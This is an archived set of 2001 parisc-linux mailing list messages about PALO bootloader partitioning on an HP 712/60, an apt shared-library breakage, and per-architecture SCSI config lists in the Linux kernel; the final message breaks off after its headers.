From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Thu, 21 Jun 2001 18:07:20 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <m15DETo-000OSEC@bame.riverrock.org>
References: <Pine.SOL.4.10.10106211604030.8214-100000@lugh.cacr.caltech.edu>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620234 21323 80.91.229.3 (22 Nov 2014 01:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Al Budriunas <budriuna@cacr.caltech.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 18:07:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F752482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 18:07:53 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA16898;
	Thu, 21 Jun 2001 18:07:20 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15DETo-000OSEC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 18:07:20 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "Thu, 21 Jun 2001 16:43:42 PDT."
             <Pine.SOL.4.10.10106211604030.8214-100000@lugh.cacr.caltech.edu> 
Original-Sender: bame@riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:11404

> 
> During the PALO creation phase of the initial installation, an error
> message saying "PALO wasn't able to install. You can still remote boot and
> point the root device to the installed system".
> 
> The install target is an HP 712/60 with a 2.2GB SCSI-SE disk with three
> partitions:
> 
> sda1 128MB  linux swap fstype 82
> sda2 16 MB linux fstype 83
> sda3 2GB linux ext2 fstype 83
> 
> My intention is to use sda2 for PALO, and sda3 for everything else. Since
> I could not find any means of creating F0 fstype for PALO, is assumed the
> install/setup process would do that for me. Is that an incorrect
> assumption? If so, what steps do I take to create the F0 fstype to install
> PALO?

cfdisk and fdisk both can change a partition type.  in cfdisk select
the partition you desire and use the [Type] item below.

palo currently requires that both the "F0" partition, and any partitions
from which you are going to boot, *end* within the first 2Gbytes, so your
sda3 is just over the limit.  Perhaps you might make a small /boot
partition near the front of the drive.

	-P




From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Budriunas <budriuna@cacr.caltech.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Thu, 21 Jun 2001 17:16:52 -0700 (PDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10106211709290.8214-100000@lugh.cacr.caltech.edu>
References: <20010622000747.175BE37D2C@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620234 21330 80.91.229.3 (22 Nov 2014 01:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 18:20:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.cacr.caltech.edu (mailhost.cacr.caltech.edu [131.215.145.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A38D482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 18:20:18 -0600 (MDT)
Original-Received: from lugh.cacr.caltech.edu (lugh.cacr.caltech.edu [131.215.145.183])
	by mailhost.cacr.caltech.edu (8.9.3/8.9.1) with ESMTP id RAA18921;
	Thu, 21 Jun 2001 17:16:52 -0700 (PDT)
In-Reply-To: <20010622000747.175BE37D2C@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11405

on Thu, 21 Jun 2001, Matt Taggart wrote:
> Al Budriunas writes...
> 
> > The install target is an HP 712/60 with a 2.2GB SCSI-SE disk with three
> > partitions:
> > 
> > sda1 128MB  linux swap fstype 82
> > sda2 16 MB linux fstype 83
> > sda3 2GB linux ext2 fstype 83
> > 
> > My intention is to use sda2 for PALO, and sda3 for everything else. Since
> > I could not find any means of creating F0 fstype for PALO, is assumed the
> > install/setup process would do that for me. Is that an incorrect
> > assumption? If so, what steps do I take to create the F0 fstype to install
> > PALO?
> 
> The partition types are set during the disk partitioning phase of the install 
> when running the "cfdisk" tool.
> 

Matt,

The cfdisk utility didn't have a F0 fstype available. There was a message
during the installation that mentioned this. Hence, my assumption.  

Regards,

Al

--------------------------------------------------------------------
Al Budriunas                            email: budriuna@rsn.hp.com  
Hewlett Packard Co.                     voice: 310-535-2884
Los Angeles, Ca.                        
------------------------------------------------------------------





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Budriunas <budriuna@cacr.caltech.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Thu, 21 Jun 2001 17:41:12 -0700 (PDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10106211740150.8214-100000@lugh.cacr.caltech.edu>
References: <m15DETo-000OSEC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620234 21333 80.91.229.3 (22 Nov 2014 01:37:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bame@riverrock.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 18:41:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.cacr.caltech.edu (mailhost.cacr.caltech.edu [131.215.145.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24CCC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 18:41:15 -0600 (MDT)
Original-Received: from lugh.cacr.caltech.edu (lugh.cacr.caltech.edu [131.215.145.183])
	by mailhost.cacr.caltech.edu (8.9.3/8.9.1) with ESMTP id RAA19030;
	Thu, 21 Jun 2001 17:41:12 -0700 (PDT)
In-Reply-To: <m15DETo-000OSEC@bame.riverrock.org>
Xref: news.gmane.org gmane.linux.ports.parisc:11406

On Thu, 21 Jun 2001 bame@riverrock.org wrote:

> > During the PALO creation phase of the initial installation, an error
> > message saying "PALO wasn't able to install. You can still remote boot and
> > point the root device to the installed system".
> > 
> > The install target is an HP 712/60 with a 2.2GB SCSI-SE disk with three
> > partitions:
> > 
> > sda1 128MB  linux swap fstype 82
> > sda2 16 MB linux fstype 83
> > sda3 2GB linux ext2 fstype 83
> > 
> > My intention is to use sda2 for PALO, and sda3 for everything else. Since
> > I could not find any means of creating F0 fstype for PALO, is assumed the
> > install/setup process would do that for me. Is that an incorrect
> > assumption? If so, what steps do I take to create the F0 fstype to install
> > PALO?
> 
> cfdisk and fdisk both can change a partition type.  in cfdisk select
> the partition you desire and use the [Type] item below.
> 
> palo currently requires that both the "F0" partition, and any partitions
> from which you are going to boot, *end* within the first 2Gbytes, so your
> sda3 is just over the limit.  Perhaps you might make a small /boot
> partition near the front of the drive.
> 
> 	-P
> 

The installation menu for partitioning didn't have an option for F0 in
cfdisk. In fact, there were no options to even use fdisk. The installation
notes mentioned that the /boot flag was ignored in cfdisk (I used it
anyway during the latest attempt). The partition I was intending to use
for PALO is within the first 2GB (sda2, just after swap, sda1).

I'll reinstall again without exceeding the 2GB limitation.

Thanks,

Al
 
------------------------------------------------------------------
Al Budriunas                            email: budriuna@rsn.hp.com  
Hewlett Packard Co.                     voice: 310-535-2884
Los Angeles, Ca.                        
------------------------------------------------------------------





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Thu, 21 Jun 2001 19:30:11 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20010622013011.999F037D2C@carmen.fc.hp.com>
References: <Pine.SOL.4.10.10106211709290.8214-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620235 21335 80.91.229.3 (22 Nov 2014 01:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Al Budriunas <budriuna@cacr.caltech.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 19:27:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95F3A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 19:27:24 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 2C2AD552; Thu, 21 Jun 2001 21:27:24 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 999F037D2C; Thu, 21 Jun 2001 19:30:11 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Your message of "Thu, 21 Jun 2001 17:16:52 PDT."
             <Pine.SOL.4.10.10106211709290.8214-100000@lugh.cacr.caltech.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:11407

Al Budriunas writes...

> Matt,
> 
> The cfdisk utility didn't have a F0 fstype available.

You can change the partition type to f0 but it's not in the list of partition 
types.  I have submitted a wishlist bug against the Debian util-linux package 
with a patch to add it to the list. You can track it's status at,

http://www.debian.org/Bugs/

and searching "By package:" for util-linux (it hasn't shown up yet so I don't 
know the bug number yet).  The Debian maintainer will forward it to the 
upstream maintainer and with any luck it will get added to a future release.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <tom@Alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Something broke dselect/apt...
Date: Thu, 21 Jun 2001 18:00:05 -0800 (AKDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106211757270.26069-100000@devnull.alaskatech.org>
References: <20010621162624.M11438@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620235 21338 80.91.229.3 (22 Nov 2014 01:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:15 +0000 (UTC)
Cc: PA-RISC Linux list <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 21 20:00:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A9CA482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 20:00:12 -0600 (MDT)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GFB6W700.MXB for
          <parisc-linux@lists.parisc-linux.org>; Thu, 21 Jun 2001 18:00:07 -0800 
Original-Received: from devnull.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GFB6W702.355; Thu, 21 Jun 2001 18:00:07 -0800 
In-Reply-To: <20010621162624.M11438@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11408

> On Thu, Jun 21, 2001 at 06:37:44AM -0800, Tom wrote:
> > I ran apt-get update/upgrade on Monday - all working. Just ran it again
> > this morning, had ~9 packages updated. All updated fine - no errors on the
> > update - but then apt-* fails to work with "error while loading shared
> > libraries - /usr/lib/libapt-pkg-libc6.2-3.so.3.2: undefined symbol:
> > _cp_push_exception". Trying to run dselect gives "error while loading
> > shared libraries: dselect: undefined symbol: __rethrow".
> >
> > Has anyone noticed this yet and/or noticed something I may have goofed up?
> > I believe there was a palo update in there, plus one of the libc6-*
> > packages, but other than that I've no idea...
>
> On Thu, 21 Jun 2001, Richard Hirst wrote:
> This is because you have picked up a new libstdc++3, but not a new apt.
> We tried to update both together, but in the event, apt got delayed by
> a day.  You need to grab the new apt.deb and install with dpkg -i.
> It should appear in <ftp://ftp.debian.org:/debian/pool/main/a/apt/>
> in a few hours.

Installing the apt packages from there allowed apt-get update/upgrade to
run, which fixed dselect. However, I'm getting the same libapt/libc6 error
when installing packages - they download, then I get that error when it's
apparently trying to preprocess them. After the error they install fine
and everything works...

Am going to let it sit for a few days, see what else shakes loose as far
as updates are concerned, then worry about it if it's still giving the
errors...

Thanks for the response!





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Owens <kaos@ocs.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SCSI in arch/{m68k,parisc,sparc*}/config.in
Date: Fri, 22 Jun 2001 23:00:03 +1000
Lines: 23
Approved: news@gmane.org
Message-ID: <2105.993214803@ocs3.ocs-net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620235 21342 80.91.229.3 (22 Nov 2014 01:37:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:15 +0000 (UTC)
To: sparclinux@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 07:00:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ocs.com.au (ppp0.ocs.com.au [203.34.97.3])
	by dsl2.external.hp.com (Postfix) with SMTP id 41234482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 07:00:09 -0600 (MDT)
Original-Received: (qmail 14221 invoked from network); 22 Jun 2001 13:00:04 -0000
Original-Received: from ocs3.ocs-net (192.168.255.3)
  by mail.ocs.com.au with SMTP; 22 Jun 2001 13:00:04 -0000
X-Mailer: exmh version 2.1.1 10/15/1999
Xref: news.gmane.org gmane.linux.ports.parisc:11409

cc: kaos@ocs.com.au please, I am not on these lists.

arch/{m68k,parisc,sparc*}/config.in have their own SCSI list instead of
using drivers/scsi/Config.in.  Cleaning up the SCSI config file is on
my 2.5 TODO list, can you tell me why these architectures have their
own list of SCSI devices?

If it is because only some SCSI drivers work on these architectures, do
you really need to be this specific?  Other architectures source
drivers/scsi/Config.in without checking for arch dependent drivers.  If
the need is to support extra arch specific drivers, use the same
technique as acorn :-

# drivers/scsi/Config.in
if [ "$CONFIG_ARCH_ACORN" = "y" ]; then
   source drivers/acorn/scsi/Config.in
fi

ps. There is no entry for parisc in MAINTAINERS.





From - Thu Nov 08 21:18:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@sunsite.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI in arch/{m68k,parisc,sparc*}/config.in
Date: 22 Jun 2001 15:18:57 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <d3ofrgbqke.fsf@lxplus015.cern.ch>
References: <2105.993214803@ocs3.ocs-net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620236 21346 80.91.229.3 (22 Nov 2014 01:37:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:16 +0000 (UTC)
Cc: sparclinux@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	parisc-linux@lists.parisc-linux.org
To: Keith Owens <kaos@ocs.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 07:19:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0302A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 07:19:41 -0600 (MDT)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id PAA27537;
	Fri, 22 Jun 2001 15:19:01 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id PAA26791;
	Fri, 22 Jun 2001 15:18:57 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Keith Owens's message of "Fri, 22 Jun 2001 23:00:03 +1000"
Original-Lines: 22
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:11410

>>>>> "Keith" == Keith Owens <kaos@ocs.com.au> writes:

Keith> cc: kaos@ocs.com.au please, I am not on these lists.
Keith> arch/{m68k,parisc,sparc*}/config.in have their own SCSI list
Keith> instead of using drivers/scsi/Config.in.  Cleaning up the SCSI
Keith> config file is on my 2.5 TODO list, can you tell me why these
Keith> architectures have their own list of SCSI devices?

Keith> If it is because only some SCSI drivers work on these
Keith> architectures, do you really need to be this specific?  Other
Keith> architectures source drivers/scsi/Config.in without checking
Keith> for arch dependent drivers.  If the need is to support extra
Keith> arch specific drivers, use the same technique as acorn :-

For the m68k it's because we do not support any PCI/ISA devices and
all the SCSI drivers in drivers/scsi/Config.in at least used to not be
protected by CONFIG_ISA, CONFIG_PCI etc. hence we would end up with
200 questions about SCSI drivers that do not work. If you can convince
Linus to take a patch that puts CONFIG_{ISA,PCI,SBUS,NUBUS,ZORRO} in
drivers/scsi/Config.in then we can move it no problem.

Jes




From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SCSI in arch/{m68k,parisc,sparc*}/config.in
Date: Fri, 22 Jun 2001 15:22:58 +0200 (CEST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.05.10106221520250.2098-100000@callisto.of.borg>
References: <2105.993214803@ocs3.ocs-net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620236 21350 80.91.229.3 (22 Nov 2014 01:37:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:16 +0000 (UTC)
Cc: sparclinux@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	parisc-linux@lists.parisc-linux.org
To: Keith Owens <kaos@ocs.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 07:26:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from aeon.tvd.be (aeon.tvd.be [195.162.196.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8751D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 07:26:08 -0600 (MDT)
Original-Received: from callisto.of.borg (cable-195-162-217-46.upc.chello.be [195.162.217.46])
	by aeon.tvd.be (8.9.3/8.9.3/RELAY-1.1) with ESMTP id PAA05496;
	Fri, 22 Jun 2001 15:25:44 +0200 (MET DST)
Original-Received: from callisto.of.borg (geert@localhost [127.0.0.1])
        by localhost (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) with ESMTP id f5MDN0cR003715;
	Fri, 22 Jun 2001 15:23:00 +0200
Original-Received: from localhost (geert@localhost)
        by callisto.of.borg (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) with ESMTP id f5MDMwQF003712;
	Fri, 22 Jun 2001 15:22:59 +0200
X-Authentication-Warning: callisto.of.borg: geert owned process doing -bs
Original-Sender: geert@linux-m68k.org
In-Reply-To: <2105.993214803@ocs3.ocs-net>
Xref: news.gmane.org gmane.linux.ports.parisc:11411

On Fri, 22 Jun 2001, Keith Owens wrote:
> cc: kaos@ocs.com.au please, I am not on these lists.
> 
> arch/{m68k,parisc,sparc*}/config.in have their own SCSI list instead of
> using drivers/scsi/Config.in.  Cleaning up the SCSI config file is on
> my 2.5 TODO list, can you tell me why these architectures have their
> own list of SCSI devices?
> 
> If it is because only some SCSI drivers work on these architectures, do
> you really need to be this specific?  Other architectures source
> drivers/scsi/Config.in without checking for arch dependent drivers.  If
> the need is to support extra arch specific drivers, use the same
> technique as acorn :-

[ speaking for m68k ]

We do that to avoid being annoyed with questions about irrelevant SCSI
hardware. If nowadays all ISA/EISA/MCA/PCI SCSI hardware questions are properly
protected with their respective CONFIG_*, we're willing to include the generic
drivers/scsi/Config.in.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds





From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Fri, 22 Jun 2001 14:03:20 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20010622200320.BA3BE37D2C@carmen.fc.hp.com>
References: <Pine.SOL.4.10.10106211709290.8214-100000@lugh.cacr.caltech.edu>  
 <20010622013011.999F037D2C@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620236 21355 80.91.229.3 (22 Nov 2014 01:37:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:16 +0000 (UTC)
To: Al Budriunas <budriuna@cacr.caltech.edu>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 14:00:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F0D4482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 14:00:33 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 863C22003F; Fri, 22 Jun 2001 16:00:21 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id BA3BE37D2C; Fri, 22 Jun 2001 14:03:20 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matt Taggart <taggart@carmen.fc.hp.com> 
   of "Thu, 21 Jun 2001 19:30:11 MDT." <20010622013011.999F037D2C@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11412

Matt Taggart writes...

> You can change the partition type to f0 but it's not in the list of partition
> types.  I have submitted a wishlist bug against the Debian util-linux package
> with a patch to add it to the list. 

The bug is #101853. Info at,

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=101853

Hopefully this will get into the next version and into a future version of the 
installer.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Budriunas <budriuna@cacr.caltech.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Fri, 22 Jun 2001 13:20:42 -0700 (PDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.10.10106221317550.16626-100000@lugh.cacr.caltech.edu>
References: <20010622200320.BA3BE37D2C@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620237 21360 80.91.229.3 (22 Nov 2014 01:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jun 22 14:24:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost.cacr.caltech.edu (mailhost.cacr.caltech.edu [131.215.145.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDDFC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Jun 2001 14:24:07 -0600 (MDT)
Original-Received: from lugh.cacr.caltech.edu (lugh.cacr.caltech.edu [131.215.145.183])
	by mailhost.cacr.caltech.edu (8.9.3/8.9.1) with ESMTP id NAA16656;
	Fri, 22 Jun 2001 13:20:42 -0700 (PDT)
In-Reply-To: <20010622200320.BA3BE37D2C@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11413

On Fri, 22 Jun 2001, Matt Taggart wrote:

> Matt Taggart writes...
> 
> > You can change the partition type to f0 but it's not in the list of partition
> > types.  I have submitted a wishlist bug against the Debian util-linux package
> > with a patch to add it to the list. 
> 
> The bug is #101853. Info at,
> 
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=101853
> 
> Hopefully this will get into the next version and into a future version of the 
> installer.
> 

Matt,

Would you please share (or point me to) the procedure to change PALO
parititon into f0 type?

Thanks for the quick response.


Al


------------------------------------------------------------------
Al Budriunas                            email: budriuna@rsn.hp.com  
Hewlett Packard Co.                     voice: 310-535-2884
Los Angeles, Ca.                        
------------------------------------------------------------------





From - Thu Nov 08 21:18:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Error creating PALO
Date: Fri, 22 Jun 2001 16:57:25 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20010622225725.5096B37D2C@carmen.fc.hp.com>
References: <Pine.SOL.4.10.10106221317550.16626-100000@lugh.cacr.caltech.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620237 21364 80.91.229.3 (22 Nov 2014 01:37:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:17 +0000 (UTC)
